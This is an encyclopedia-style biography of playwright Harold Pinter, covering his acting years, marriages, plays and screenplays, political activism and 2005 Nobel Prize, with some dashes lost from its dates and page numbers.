          Beginning in autumn 1948, Pinter attended the Royal Academy of Dramatic Art (RADA) for two terms, but "Loathing" RADA, he cut most of his classes, feigned a nervous breakdown, and dropped out in 1949 (Billington, Harold Pinter 2025, 3135; Batty, About Pinter 7). That year he was also "called up for National Service," registered as a conscientious objector, was brought to trial twice, and ultimately fined by the magistrate for refusing to serve (Billington, Harold Pinter 2025). He had a "walk-on" role in Dick Whittington and His Cat at the Chesterfield Hippodrome in 194950 (Billington, Harold Pinter 37; Batty, About Pinter 8). From January to July 1951, he "endured six months at the Central School of Speech and Drama" (Billington, Harold Pinter 31, 36, 38; Batty, About Pinter xiii, 8). From 195152, he toured Ireland with the Anew McMaster repertory company, playing over a dozen roles (Pinter, "Mac", Various Voices 2734). In 1952 he began regional repertory acting jobs in England; from 195354, he worked for the Donald Wolfit Company, King's Theatre, Hammersmith, performing eight roles (Billington, Harold Pinter 2025; 31, 36, 3741). From 1954 until 1959, Harold Pinter acted under the stage name "David Baron". (Pinter's paternal "grandmother's maiden name was Baron  he adopted it as his stage-name  [and] used it [Baron] for the autobiographical character of Mark in the first draft of [his novel] The Dwarfs" [Billington, Harold Pinter 3, 4748].) As Batty observes: "Following his brief stint with Wolfit's company in 1953, this was to be Pinter's daily life for five years, and his prime manner of earning a living alongside stints as a waiter, a postman, a bouncer and snow-clearer whilst all the time harbouring ambitions as a poet and writer" (About Pinter 10).


          In Pinter: The Player's Playwright, David Thompson "itemises all the performances Pinter gave in the [David] Baron years," including those in English regional repertory companies, nearly twenty-five roles (Cited in Billington, Harold Pinter 4955). In October 1989, Pinter told Mel Gussow: "I was in English rep as an actor for about 12 years. My favourite roles were undoubtedly the sinister ones. They're something to get your teeth into" (Conversations with Pinter 83). During that period, he also performed occasional roles in his own and others' works (for radio, TV, and film), as he has done more recently (Billington, Harold Pinter 2025; 31, 36, 38).


          


          Marriage and family life


          
            	First marriage

          


          From 1956 until 1980, Pinter was married to Vivien Merchant, a rep actress whom he met on tour, probably best known for her performance in the original film Alfie (1966); their son, Daniel, was born in 1958 (Billington, Harold Pinter 54, 75). Through the early '70s, Merchant appeared in many of Pinter's works, most notably The Homecoming on stage (1965) and screen (1973), but the marriage was turbulent and began disintegrating in the mid-1960s (25256). For seven years, from 196269, Pinter was engaged in a clandestine affair with Joan Bakewell, which informed his play Betrayal (1978) (264266). Between 1975 and 1980, he lived with historian Lady Antonia Fraser, wife of Sir Hugh Fraser (27276), and, in 1975, Merchant filed for divorce ("People").


          
            	Second marriage

          


          After the Frasers' divorce became final in 1977 and the Pinters' in 1980, in the third week of October 1980, Pinter married Antonia Fraser. Due to a two-week delay in Merchant's signing the divorce papers, however, the reception had to precede the actual ceremony, originally scheduled "to coincide with Pinter's fifieth birthday" on 10 October 1980 (27172).


          Unable to overcome her bitterness and grief at the loss of her husband, Vivien Merchant died of acute alcoholism in the first week of October 1982 at the age of 53 (Billington, Harold Pinter 276). According to Billington, who cites Merchant's close friends and Pinter's associates, Pinter "did everything possible to support" her until her death and regrets that he became estranged from their son, Daniel, after their separation and Pinter's remarriage (276, 345). A reclusive gifted musician and writer (345), Daniel no longer uses the surname Pinter, having adopted instead "his maternal grandmother's maiden name," Brand, after his parents separated (255). "His efforts to reach out  rebuffed," Pinter has not spoken with him since 1993; "'There it is,' he said" (Lyall, "Still Pinteresque").


          
            	Personal feelings

          


          Billington observes that "Pinter's new life with Antonia  obviously released something that had long been dormant: a preoccupation with the injustices and hypocrisies of the public world"; yet, his "sorrow, and even residual guilt, over Vivien's death" still seems to have resulted in "Pinter's creative blankness over a three-year period in the early 1980s" (Harold Pinter 278). Since Pinter "loves children and  would have liked a large family of his own, the progressive separation from Daniel is obviously a source of anguish" which Billington speculates is "reflected in Moonlight" (written in 1993, the year that Pinter and his son mutually decided to cease contact), "not only in Andy's cry of 'Where are the boys?' but in his final sad enquiries after his imagined grandchildren," though Pinter disavowed any conscious connection (346).


          Pinter has stated publicly in interviews that he remains "very happy" in his second marriage and enjoys family life, which includes his six adult stepchildren and sixteen step-grandchildren (Billington, Harold Pinter 388, 42930), and, after vanquishing cancer, considers himself "a very lucky man in every respect" (Qtd. in Wark; Billington, "'They said'"). According to Lyall, who interviewed him in London for her Sunday New York Times preview of Sleuth, Pinter's "latest work, a slim pamphlet called 'Six Poems for A.,' comprises poems written over 32 years, with 'A' being Lady Antonia. The first of the poems was written in Paris, where she and Mr. Pinter traveled soon after they met. More than three decades later the two are rarely apart, and Mr. Pinter turns soft, even cozy, when he talks about his wife" ("Still Pinteresque" 16). In his interview with Lyall, Pinter "acknowledged that his playsfull of infidelity, cruelty, inhumanity, the lotseem at odds with his domestic contentment. 'How can you write a happy play?' he said. 'Drama is about conflict and degrees of perturbation, disarray. I've never been able to write a happy play, but I've been able to enjoy a happy life'" ("Still Pinteresque" 16).


          


          Career


          [bookmark: 1957.E2.80.932005]


          19572005


          Pinter is the author of twenty-nine plays, fifteen dramatic sketches, twenty-six screenplays and film scripts for cinema and television, a novel, and other prose fiction, essays, and speeches, many poems, and co-author of two works for stage and radio. Along with the 1967 Tony Award for Best Play for The Homecoming and several other American awards and award nominations, he and his plays have received many awards in the UK and elsewhere throughout the world. His screenplays for The French Lieutenant's Woman and Betrayal were nominated for Academy Awards in the category of "Writing: Screenplay Based on Material from Another Medium" in 1981 and 1983, respectively.


          
            	The Room (1957)

          


          Pinter's first play, The Room, written in 1957, was a student production at the University of Bristol, "commissioned" and directed by his good friend (later acclaimed) actor Henry Woolf, who also originated the role of Mr. Kidd (which he reprised in 2001 and 2007). After Pinter had mentioned that he had an "idea" for a play, Woolf asked him to write it so that he could direct it as part of fulfilling requirements for his postgraduate work. Pinter wrote it in three days (Qtd. in Merritt, "Talking about Pinter" 147). To mark and celebrate the fiftieth anniversary of that first production of The Room, Woolf reprised his role of Mr. Kidd, as well as his role of the Man in Pinter's play Monologue, in April 2007 as part of an international conference at the University of Leeds, "Artist and Citizen: 50 Years of Performing Pinter".


          
            	"Comedies of menace"

          


          The Birthday Party (1957), Pinter's second play and among his best-known, was initially a disaster, despite a rave review in the Sunday Times by its influential drama critic Harold Hobson, which appeared only after the production had closed and could not be reprieved (Hobson, "The Screw Turns Again"). Critical accounts often quote Hobson's prophetic words:


          
            
              One of the actors in Harold Pinter[']s The Birthday Party at the Lyric, Hammersmith, announces in the programme that he read History at Oxford, and took his degree with Fourth Class Honours. Now I am well aware that Mr Pinter[']s play received extremely bad notices last Tuesday morning. At the moment I write these it is uncertain even whether the play will still be in the bill by the time they appear, though it is probable it will soon be seen elsewhere. Deliberately, I am willing to risk whatever reputation I have as a judge of plays by saying that The Birthday Party is not a Fourth, not even a Second, but a First; and that Pinter, on the evidence of his work, possesses the most original, disturbing and arresting talent in theatrical London. Mr Pinter and The Birthday Party, despite their experiences last week, will be heard of again. Make a note of their names.

            

          


          Hobson is generally credited by Pinter himself and other critics as bolstering him and perhaps even rescuing his career (Billington, Harold Pinter 85); for example, in their September 1993 interview, Pinter told the New York Times critic Mel Gussow: "I felt pretty discouraged before Hobson. He had a tremendous influence on my life" (141).


          In a review published in 1958, borrowing from the subtitle of The Lunatic View: A Comedy of Menace, a play by David Campton (19242006), critic Irving Wardle called Pinter's early plays " comedy of menace"a label that people have applied repeatedly to his work, at times "pigeonholing" and attempting to "tame" it. Such plays begin with an apparently innocent situation that becomes both threatening and absurd as Pinter's characters behave in ways often perceived as inexplicable by his audiences and one another. Pinter acknowledges the influence of Samuel Beckett, particularly on his early work (Billington, Harold Pinter 64, 65, 84, 197, 251); they became friends (354), sending each other drafts of their works in progress for comments (Wark).


          After the success of The Caretaker in 1960, which established Pinter's theatrical reputation (Jones), The Birthday Party was revived both on television (with Pinter himself in the role of Goldberg) and on stage and well received. By the time Peter Hall's production of The Homecoming (1964) reached New York (1967), Harold Pinter had become a celebrity playwright, and the play garnered four Tony awards, among other awards ("Harold Pinter" at the Internet Broadway Database).


          
            	"Memory plays"

          


          From the late sixties through the early eighties, Pinter wrote Landscape, Silence, "Night", Old Times, No Man's Land, Betrayal, The Proust Screenplay, Family Voices, and A Kind of Alaska, all of which dramatize complex ambiguities, elegaic mysteries, comic vagaries, and other "quicksand"-like characteristics of memory and which critics sometimes categorize as Pinter's "memory plays". Pinter's more-recent plays Party Time (1991), Moonlight (1993), Ashes to Ashes (1996), and Celebration (2000) draw upon some features of his "memory" dramaturgy in their focus on the past in the present, but they have personal and political resonances and other tonal differences from these more-clearly-identifiable "memory plays" (Billington, Harold Pinter; Batty; Grimes).


          
            	Pinter as director

          


          Pinter began to direct more frequently during the 1970s, becoming an associate director of the National Theatre (NT) in 1973, and he has directed almost fifty productions of his own and others' plays for stage, film, and television. As a director, Pinter has helmed productions of work by Simon Gray ten times, including directing the stage premires of Butley (1971), Otherwise Engaged (1975), The Rear Column (stage 1978; TV, 1980), Close of Play (NT, 1979), Quartermaine's Terms (1981), Life Support (1997), The Late Middle Classes (1999), and The Old Masters (2004), and the film, Butley (1974), several of which starred Alan Bates (19342003), who originated (on stage and screen) the role of Mick in Pinter's first commercial success, The Caretaker (1960), and played the roles of Nicholas in One for the Road and the cab driver in Victoria Station in Pinter's own double-bill production at the Lyric Hammersmith in 1984.


          
            	Pinter's overtly political plays

          


          Beginning in the mid-1980s, his plays tended to become shorter and more overtly political, serving as critiques of oppression, torture, and other abuses of human rights (Merritt, Pinter in Play xixv, 170209; Grimes 19). In a 1985 interview called "A Play and Its Politics", with Nicholas Hern, published in the Grove Press edition of One for the Road, Pinter states that whereas his earlier plays presented "metaphors" for power and powerlessness, the later ones present literal "realities" of power and its abuse. Grimes proposes, "If it is too much to say that Pinter faults himself for his earlier political inactivity, his political theatre dramatizes the interplay and conflict of the opposing poles of involvement and disengagement" (19). From 1993 to 1999, reflecting both personal and political concerns, Pinter wrote Moonlight (1993) and Ashes to Ashes (1996), full-length plays with domestic settings relating to death and dying and (in the latter case) to such "atrocities" as the Holocaust. In this period, after the deaths of first his mother and then his father, again merging the personal and the political, Pinter wrote the poems "Death" (1997) (which he read in his 2005 Nobel Lecture) and "The Disappeared" (1998).


          
            	Lincoln Centre Harold Pinter Festival (Summer 2001)

          


          In July and August 2001, a Harold Pinter Festival celebrating his work was held at Lincoln Centre in New York City, in which he participated as both a director (of a double bill pairing his newest play, Celebration, with his first play, The Room) and an actor (as Nicolas in One for the Road).


          
            	Harold Pinter Homage at World Leaders (Autumn 2001)

          


          In October 2001, as part of the "Harold Pinter Homage" at the World Leaders Festival of Creative Genius, at Harbourfront Centre, in Toronto, following the reception and during the dinner honoring him, he presented a dramatic reading of Celebration (2000) and also participated in a public interview as part of the International Festival of Authors ("Harold Pinter Added to IFOA Lineup"; "Travel Advisory").


          That winter Pinter's collaboration with director Di Trevis resulted in their stage adaptation of his as-yet unfilmed 1972 work The Proust Screenplay, entitled Remembrance of Things Past (both based on Marcel Proust's famous seven-volume novel In Search of Lost Time), being produced at the National Theatre, in London. There was also a revival of The Caretaker in the West End.


          
            	Career developments from 2001 to 2005

          


          Late in 2001, Pinter was diagnosed with cancer of the esophagus, for which he underwent a successful operation and chemotherapy in 2002. During the course of his treatment, he directed a production of his play No Man's Land, wrote and performed in his new sketch "Press Conference" for a two-part otherwise-retrospective production of his dramatic sketches at the National Theatre, and was seen on television in America in the role of Vivian Bearing's father in the HBO film version of Margaret Edson's Pulitzer Prize-winning play Wit. Since then, having become increasingly "engaged" as "a citizen," Pinter has continued to write and present politically-charged poetry, essays, speeches and two new screenplay adaptations of plays, based on Shakespeare's King Lear (completed in 2000 but unfilmed) and on Anthony Shaffer's Sleuth (written in 2005, with revisions completed later for the 2007 film Sleuth). Pinter's most recent stage play, Celebration (2000), is more a social satire, with fewer political resonances than such plays as One for the Road (1984), Mountain Language (1988), Party Time (1991), and Ashes to Ashes (1996), the last three of which extend expressionistic aspects of Pinter's "memory plays". His most recent dramatic work for radio, Voices (2005), a collaboration with composer James Clarke, adapting such selected works by Pinter to music, premired on BBC Radio 3 on his 75th birthday ( 10 Oct. 2005), three days before the announcement that he had won the 2005 Nobel Prize in Literature ( 13 Oct. 2005).


          
            	Public announcement of "retirement" from playwriting (February 2005)

          


          On 28 February 2005, in an interview with Mark Lawson on the BBC Radio 4 program Front Row, Pinter announced publicly that he would stop writing plays to dedicate himself to his political activism and writing poetry: "I think I've written 29 plays. I think it's enough for me. I think I've found other forms now. My energies are going in different directionsover the last few years I've made a number of political speeches at various locations and ceremonies  I'm using a lot of energy more specifically about political states of affairs, which I think are very, very worrying as things stand."


          


          Since 2005


          After announcing in February 2005 that he would stop writing plays (Lawson), Pinter completed his screenplay for Sleuth and wrote a new dramatic sketch entitled " Apart From That", which he and Rupert Graves performed on television (Wark). In recent interviews and correspondence, he has vowed to "'keep fighting'" politically (Lawson; Billington, Harold Pinter 395), and, in March 2006, in Turin, Italy, on being awarded the Europe Theatre Prize, he said that he would keep writing poetry until "I conk out" (Qtd. in Billington, "'I've written'").


          
            	"Let's Keep Fighting"

          


          As he had announced that he planned to do, Pinter remains committed to writing and publishing poetry (e.g., his poems "The Special Relationship", "Laughter", and "The Watcher") and to continuing political pressure against the "status quo," battling politically what he considers social injustices, as well as personally his post- esophageal cancer bouts of ill health, including "a rare skin disease called pemphigus"that "very, very mysterious skin condition which emanated from the Brazilian jungle", as Pinter described it (Qtd. in Billington, "'I've written'")and "a form of septicaemia which afflicts his feet and makes movement slow and laborious" (Billington, Harold Pinter 394; cf. Lyall, "Still Pinteresque").


          In June 2006, prevailing over persistent health challenges, Billington observes in his updated "Afterword 'Let's Keep Fighting'", Pinter attended "a celebration of his work in cinema organised by the British branch of the Academy of Motion Pictures," for which his friend and fellow playwright David Hare "organised a brilliant selection of film clips ... [saying] 'To jump back into the world of Pinter's movies ... is to remind yourself of a literate mainstream cinema, focused as much as Bergman's is on the human face, in which tension is maintained by a carefully crafted mix of image and dialogue'" (Billington, Harold Pinter 429).


          
            	Europe Theatre Prize (March 2006)

          


          In their public interview at the Europe Theatre Prize ceremony in Turin, Italy, which was part of the cultural program of the XX Winter Olympic Games. Billington asked Pinter, "Is the itch to put pen to paper still there?" He replied, "Yes. It's just a question of what the form is  I've been writing poetry since my youth and I'm sure I'll keep on writing it till I conk out. I've said it before and I'll say it again. I've written 29 damn plays. Isn't that enough?" (Billington, "'I've written'"). In response, audience members shouted "in unison" a resounding No, urging him to keep writing (Merritt, "Europe Theatre Prize Celebration").


          
            	Interview on Newsnight (June 2006)

          


          Pinter occasionally leaves open the possibility that if a compelling dramatic "image" were to come to mind (though "not likely"), perhaps he would be obliged to pursue it. After making this point, Pinter performed a dramatic reading of his "new work," Apart From That, at the end of his June 2006 interview with Wark, which was broadcast live on Newsnight, with Rupert Graves. This "very funny" dramatic sketch was inspired by Pinter's strong aversion to mobile telephones; "as two people trade banalities over their mobile phones there is a hint of something ominous and unspoken behind the clichd chat" (Billington, Harold Pinter 429).


          


          
            	Krapp's Last Tape (October 2006)

          


          In an account of Pinter's public interview conducted by Ramona Koval at the Edinburgh Book Festival "Meet the Author" in late August 2006, Robinson reports: "Pinter, whose last published play came out in 2000, said the reason he had given up writing was that he had 'written himself out', adding: 'I recently had a holiday in Dorset and took a couple of my usual yellow writing pads. I didn't write a damn word. Fondly, I turned them over and put them in a drawer.'" It appeared to Robinson that "despite giving up writing [Pinter] will carry on his acting career." From another perspective, however, as Eden and Walker observe: "So keenly is Harold Pinter relishing his return to the stage this autumn [in Krapp's Last Tape] that he has put his literary career on the back burner." Pinter said: "It's a great challenge and I'm going to have a crack at it" (Qtd. in Robinson).


          After returning to London from Edinburgh, in September 2006, Pinter began rehearsing for his performance of the role of Krapp. In October 2006 Harold Pinter performed Samuel Beckett's Krapp's Last Tape in a limited run at the Royal Court Theatre to sold-out audiences and "ecstatic" critical reviews (Billington, Harold Pinter 42930).


          The production of only nine performances, from 12 October, two days after Pinter's 76th birthday, to 24 October 2006, was the most prized ticket in London during the fiftieth-anniversary celebration season of the Royal Court Theatre; his performances sold out on the first morning of general ticket sales (4 Sept. 2006). One performance was filmed, produced on DVD, and shown on BBC Four on 21 June 2007.


          
            	Pinter: A Celebration (October  November 2006)

          


          Sheffield Theatres hosted Pinter: A Celebration for a full month ( 11 Oct. 11 Nov. 2006). The program featured selected productions of Pinter's plays (in order of presentation): The Caretaker, Voices, No Man's Land, Family Voices, Tea Party, The Room, One for the Road, and The Dumb Waiter; films (most his screenplays; some in which Pinter appears as an actor): The Go-Between, Accident, The Birthday Party, The French Lieutenant's Woman, Reunion, Mojo, The Servant, and The Pumpkin Eater; and other related program events: "Pause for Thought" ( Penelope Wilton and Douglas Hodge in conversation with Michael Billington), "Ashes to Ashes  A Cricketing Celebration", a "Pinter Quiz Night", "The New World Order", the BBC Two documentary film Arena: Harold Pinter (introd. Anthony Wall, producer of Arena), and "The New World Order  A Pause for Peace" (a consideration of "Pinter's pacifist writing" [both poems and prose] supported by the Sheffield Quakers), and a screening of "Pinter's passionate and antagonistic 45-minute Nobel Prize Lecture."


          
            	50th anniversary West-End revival of The Dumb Waiter; Celebration (February 2007)

          


          Coinciding with the 50th anniversary of The Dumb Waiter, Lee Evans and Jason Isaacs starred as Gus and Ben in "a major West end revival," directed by Harry Burton, "in a limited seven week run" at the Trafalgar Studios, from 2 February 2007 through 24 March 2007. John Crowley's film version of Pinter's play Celebration (2000) was shown on More 4 (Channel 4, UK), in late February 2007, "with a cast including James Bolam, Janie Dee, Colin Firth, James Fox, Michael Gambon, Julia McKenzie, Sophie Okonedo, Stephen Rea and Penelope Wilton."


          
            	Radio broadcast of The Homecoming (March 2007)

          


          On 18 March 2007, BBC Radio 3 broadcast a new radio production of The Homecoming, directed by Thea Sharrock and produced by Martin J. Smith, with Pinter performing the role of Max (for the first time; he had previously played Lenny on stage in the 1960s), Michael Gambon as Max's brother Sam, Rupert Graves as Teddy, Samuel West as Lenny, James Alexandrou as Joey, and Gina McKee as Ruth (Martin J. Smith; West).


          
            	Revival of The Hothouse (From 11 July 2007)

          


          A revival of The Hothouse, directed by Ian Rickson, with a cast including Stephen Moore (Roote), Lia Williams (Miss Cutts), and Henry Woolf (Tubb), among others, opened at the Royal National Theatre, in London, on 11 July 2007, playing concurrently with a revival of Betrayal at the Donmar Warehouse, also starring Samuel West (Robert), opposite Toby Stephens (Jerry) and Dervla Kirwan (Emma) and directed by Roger Michell (West).


          
            	Sleuth (August 2007)

          


          Pinter's screenplay adaptation of the 1970 Tony Award-winning play Sleuth, by Anthony Shaffer, is the basis for the 2007 film Sleuth, directed by Kenneth Branagh and starring Michael Caine (in the role of Andrew Wyke, originally played by Laurence Olivier) and Jude Law (in the role of Milo Tindle, originally played by Caine), who also produced it; scheduled for release on 12 October, the film debuted at the 64th Venice International Film Festival on 31 August 2007 and was screened at the 2007 Toronto International Film Festival on 10 September.


          
            	Broadway revival of The Homecoming (December 2007  April 2008)

          


          A Broadway revival of The Homecoming, starring James Frain as Teddy, Ian McShane as Max, Raul Esparza as Lenny, Michael McKean as Sam, and Eve Best as Ruth, and directed by Daniel Sullivan, opened on 16 December 2007, for a "20-week limited engagement  through April 13, 2008" at the Cort Theatre (Gans; Horwitz).


          


          Civic activities and political activism


          


          Political development


          Pinter's political concerns have developed since he became a conscientious objector when he was eighteen (19461947) and since he expressed ambivalence about "politicians" in his 1966 Paris Review interview with Lawrence M. Bensky. Those assuming that Pinter's political interests began in the 1980s may not be aware that he was an early member of the Campaign for Nuclear Disarmament in the United Kingdom and supported the British Anti-Apartheid Movement (195994), participating in British artists' refusal to permit professional productions of their work in South Africa in 1963 ("Playwrights in Apartheid Protest") and in subsequent related campaigns (Mbeki; Reddy).


          


          Later political activities


          His later political activities are better known and more controversial. He has been active in International PEN, serving as a vice-president, along with American playwright Arthur Miller. In 1985, Pinter and Miller travelled to Turkey, on a mission co-sponsored by International PEN and a Helsinki Watch committee to investigate and protest the torture of imprisoned writers. There he met victims of political oppression and their families. At an American embassy dinner in Ankara, held in Miller's honor, at which Pinter was also an invited guest, speaking on behalf of those imprisoned Turkish writers, Pinter confronted the ambassador with (in Pinter's words) "[t]he reality  of electric current on your genitals": Pinter's outspokenness apparently angered their host and led to indications of his desired departure. Guest of honour Miller left the embassy with him. Recounting this episode for a tribute to Miller on his 80th birthday, Pinter concludes: "Being thrown out of the US embassy in Ankara with Arthur Miller  a voluntary exile  was one of the proudest moments in my life" ("Arthur Miller's Socks", Various Voices 5657). Pinter's experiences in Turkey and his knowledge of the Turkish suppression of the Kurdish language "inspired" his 1988 play Mountain Language (Billington, Harold Pinter 30910; Gussow, Conversations with Pinter 6768).


          He is an active delegate of the Cuba Solidarity Campaign in the United Kingdom, an organization that defends Cuba, supports the government of Fidel Castro, and campaigns against the U.S. embargo on the country (Hands Off Cuba!). In 2001 Pinter joined the International Committee to Defend Slobodan Miloević (ICDSM), which appealed for a fair trial for and the freedom of Slobodan Miloević; he signed a related "Artists' Appeal for Miloević" in 2004. (The organization continues its presence on the internet even after Miloević's death in 2006.)


          


          Recent political views


          For over the past two decades, in his essays, speeches, interviews, and literary readings, Pinter has focused increasingly on contemporaneous political issues. Pinter strongly opposed the 1991 Gulf War, the 1999 NATO bombing campaign in Yugoslavia during the Kosovo War, the United States's 2001 War in Afghanistan, and its 2003 Invasion of Iraq.


          In accepting an honorary degree at the University of Turin (27 Nov. 2002), he stated: "I believe that [the United States] will [attack Iraq] not only to take control of Iraqi oil, but also because the American administration is now a bloodthirsty wild animal. Bombs are its only vocabulary." But he added the following qualification: "Many Americans, we know, are horrified by the posture of their government but seem to be helpless" (Various Voices 243). He has been very active in the current anti-war movement in the United Kingdom, speaking at rallies held by the Stop the War Coalition, which reprinted his Turin speech.


          Since then he has called the President of the United States, George W. Bush, a "mass murderer" and the (then) Prime Minister of the United Kingdom, Tony Blair, both "mass-murdering" and a "deluded idiot"; he alleges that they, along with past U.S. officials, are " war criminals." He has also compared the Bush administration ("a bunch of criminal lunatics") with Adolf Hitler's Nazi Germany, saying that, under Bush, the United States ("a monster out of control") strives to attain "world domination" through "Full spectrum dominance". Pinter characterized Blair's Great Britain as "pathetic and supine," a "bleating little lamb tagging behind [the United States] on a lead." According to Pinter, Blair was participating in "an act of premeditated mass murder" instigated on behalf of "the American people," who, Pinter acknowledges, increasingly protest "their government's actions" (Public reading from War, as qtd. by Chrisafis and Tilden). Pinter published his remarks to the mass peace protest demonstration held on 15 February 2003, in London, on his website: "The United States is a monster out of control. Unless we challenge it with absolute determination American barbarism will destroy the world. The country is run by a bunch of criminal lunatics, with Blair as their hired Christian thug. The planned attack on Iraq is an act of premeditated mass murder" ("Speech at Hyde Park"). Those remarks anticipate his 2005 Nobel Lecture, "Art, Truth, & Politics", in which he observes: "Many thousands, if not millions, of people in the United States itself are demonstrably sickened, shamed and angered by their government's actions, but as things stand they are not a coherent political force  yet. But the anxiety, uncertainty and fear which we can see growing daily in the United States is unlikely to diminish" (21).


          In accepting the Wilfred Owen Award for Poetry, on 18 March 2005, wondering "What would Wilfred Owen make of the invasion of Iraq? A bandit act, an act of blatant state terrorism, demonstrating absolute contempt for the conception of international law?", Pinter concluded: "I believe Wilfred Owen would share our contempt, our revulsion, our nausea and our shame at both the language and the actions of the American and British governments" (Various Voices 247-48).


          In March 2006, upon accepting the Europe Theatre Prize, in Turin, Pinter exhorted the mostly European audience "to resist the power of the United States," stating, "I'd like to see Europe echo the example of Latin America in withstanding the economic and political intimidation of the United States. This is a serious responsibility for Europe and all of its citizens" (Qtd. in Anderson and Billington, Harold Pinter 428).


          


          Continued public support of political causes and issues


          Pinter continues to contribute letters to the editor, essays, speeches, and poetry strongly expressing his artistic and political viewpoints, which are frequently published initially in British periodicals, both in print and electronic media, and increasingly distributed and re-distributed extensively over the internet and throughout the blogosphere. These have been distributed more widely since his winning the Nobel Prize in Literature in 2005; his subsequent publications and related news accounts cite his status as a Nobel Laureate.


          He continues to sign petitions on behalf of artistic and political causes that he supports. For example, he became a signatory of the mission statement of Jews For Justice For Palestinians in 2005 and of its full-page advertisement, "What Is Israel Doing? A Call by Jews in Britain" featured in The Times on 6 July 2006. He also co-signed an open letter about recent events in the Middle East dated 19 July 2006, distributed to major news publications on 21 July 2006, and posted on the website of Noam Chomsky ("Letter from Pinter, Saramago, Chomsky and Berger"; Chomsky, "Israel, Lebanon, and Palestine"; "Palestinian Nation Under Threat").


          On 5 February 2007 The Independent reported that, along with historian Eric Hobsbawm, human rights lawyer Geoffrey Bindman, fashion designer Nicole Farhi, film director Mike Leigh, and actors Stephen Fry and Zo Wanamaker, among others, Harold Pinter launched the organization Independent Jewish Voices in the United Kingdom "to represent British Jews  in response to a perceived pro-Israeli bias in existing Jewish bodies in the UK", and, according to Hobsbawn, "as a counter-balance to the uncritical support for Israeli policies by established bodies such as the Board of Deputies of British Jews" (Hodgson; Independent Jewish Voices#IJV Declaration).


          In March 2007 Charlie Rose had "A Conversation with Harold Pinter" on The Charlie Rose Show, filmed at the Old Vic, in London, and broadcast on television in the United States on PBS. In this interview they discussed highlights of his career and the politics of his life and work. They debated his ongoing opposition to the Iraq War, with Rose challenging some of Pinter's views about the United States. They also discussed some of his other public protests and positions in public controversies, such as that involving the New York Theatre Workshop's cancellation of their production of My Name Is Rachel Corrie, which Pinter views as an act of cowardice amounting to self- censorship.


          


          Retrospective perspective on political aspects of his own work


          Since the mid-eighties, Pinter has described his earlier plays retrospectively from the perspective of the politics of power and the dynamics of oppression. He expressed such a retrospective perspective on his work recently, for example, when he participated in "Meet the Author" with Ramona Koval, at the Edinburgh Book Festival, in Edinburgh, Scotland, in the evening of 25 August 2006. It was his first public appearance in Britain since he won the 2005 Nobel Prize in Literature and his near-death experience in hospital in the first week of December 2005, which had prevented him from traveling to Stockholm and giving his Nobel Lecture in person. Pinter described in moving terms how he felt while almost dying (as if he were "drowning"). After reading an interrogation scene from The Birthday Party, he provided a rare "explanation" of his work (McDowell). He "wanted to say that Goldberg and McCann represented the forces in society who wanted to snuff out dissent, to stifle Stanley's voice, to silence him," and that in 1958 "One thing [the critics who almost unanimously hated the play] got wrong  was the whole history of stifling, suffocating and destroying dissent. Not too long before, the Gestapo had represented order, discipline, family life, obligation  and anyone who disagreed with that was in trouble" (Qtd. in McDowell).


          In both his writing and his public speaking, as McDowell observes,


          
            
              Pinter's precision of language is immensely political. Twist words like "democracy" and "freedom", as he believes Blair and Bush have done over Iraq, and hundreds of thousands of people die.

              

              Earlier this year [March 2006], when he was presented with the European Theatre Prize in Turin, Pinter said he intended to spend the rest of his life railing against the United States. Surely, asked chair Ramona Koval, [at the Edinburgh Book Festival that August], he was doomed to fail?

              

              "Oh yes  me against the United States!" he said, laughing along with the audience at the absurdity, before adding: "But I can't stop reacting to what is done in our name, and what is being done in the name of freedom and democracy is disgusting."

            

          


          


          Honours


          An Honorary Associate of the National Secular Society, Pinter was appointed CBE in 1966 and became a Companion of Honour in 2002 (having previously declined a knighthood in 1996). In 1995 and 1996 he accepted the David Cohen Prize for Literature, in recognition of a lifetime's achievement in literature, and the Laurence Olivier Special Award for a lifetime's achievement in the theatre, respectively. In 1997 he became a BAFTA Fellow. He received the World Leaders Award for "Creative Genius", as the subject of a week-long "Homage" in Toronto, in October 2001. A few years later, in 2004, he received the Wilfred Owen Award for Poetry"in recognition of Pinter's lifelong contribution to literature, 'and specifically for his collection of poetry entitled War, published in 2003'" (Wilfred Owen Association Newsletter). In March 2006 he was awarded the Europe Theatre Prize, in recognition of lifetime achievements pertaining to drama and theatre ("Letter of Motivation"). In conjunction with that award, from 10 March to 14 March 2006, Michael Billington coordinated an international conference on "Pinter: Passion, Poetry and Politics", including scholars and critics from Europe and the Americas (Harold Pinter 42728).


          


          The Nobel Prize in Literature 2005


          On 13 October 2005 the Swedish Academy announced that it had decided to award the Nobel Prize in Literature for that year to "Harold Pinter  Who in his plays uncovers the precipice under everyday prattle and forces entry into oppression's closed rooms" (press release).


          When interviewed about his reaction to the Nobel Prize announcement by Billington, Pinter joked: "I was told today that one of the Sky channels said this morning that 'Harold Pinter is dead[.'] Then they changed their mind and said, 'No, he's won the Nobel prize.' So I've risen from the dead" (Billington, "'They said'").


          Nobel Week, including the Nobel Prize Awards Ceremony in Stockholm and related events throughout Scandinavia, began in the first few days of December 2005. Due to medical concerns about his health, Pinter and his family could not attend the Awards Ceremony and related events of Nobel Week. After the Academy notified him of his award, he had arranged for his publisher (Stephen Page of Faber and Faber) to accept his Nobel Diploma and Nobel Medal at the Awards Ceremony scheduled for 10 December, but he had still planned to travel to Stockholm, to present his lecture in person a few days earlier (Honigsbaum). In November, however, he was hospitalized for an infection that nearly killed him, and his doctor barred such travel.


          


          


          Art, Truth & Politics: The Nobel Lecture


          While still hospitalized, Pinter went to a Channel 4 studio to videotape his Nobel Lecture: "Art, Truth & Politics", which was projected on three large screens at the Swedish Academy in Stockholm on the evening of 7 December 2005 (Lyall, "Playwright Takes a Prize and a Jab at U.S." and "Still Pinteresque").


          Simultaneously transmitted on Channel 4 in the UK that evening, the 46-minute television broadcast was introduced by friend and fellow playwright David Hare. Subsequently, the full text and streaming video formats were posted for the public on the Nobel Prize and Swedish Academy official websites. In these formats Pinter's Nobel Lecture has been widely watched, cited, quoted, and distributed by print and online media and the source of much commentary and debate.


          As a result of his Nobel Prize and his controversial Nobel Lecture, interest in Pinter's life and work have surged. They have led to new revivals of his plays, to the updating of Billington's biography (Billington, "We Are Catching Up"; Harold Pinter), and to new editions of Pinter's works (The Essential Pinter and The Dwarfs by Grove Press and a box set of The Birthday Party, No Man's Land, Mountain Language, and Celebration by Faber and Faber).


          DVD and VHS video recordings of Pinter's Nobel Lecture (without Hare's introduction) are produced and distributed by Illuminations.


          


          Lgion d'honneur


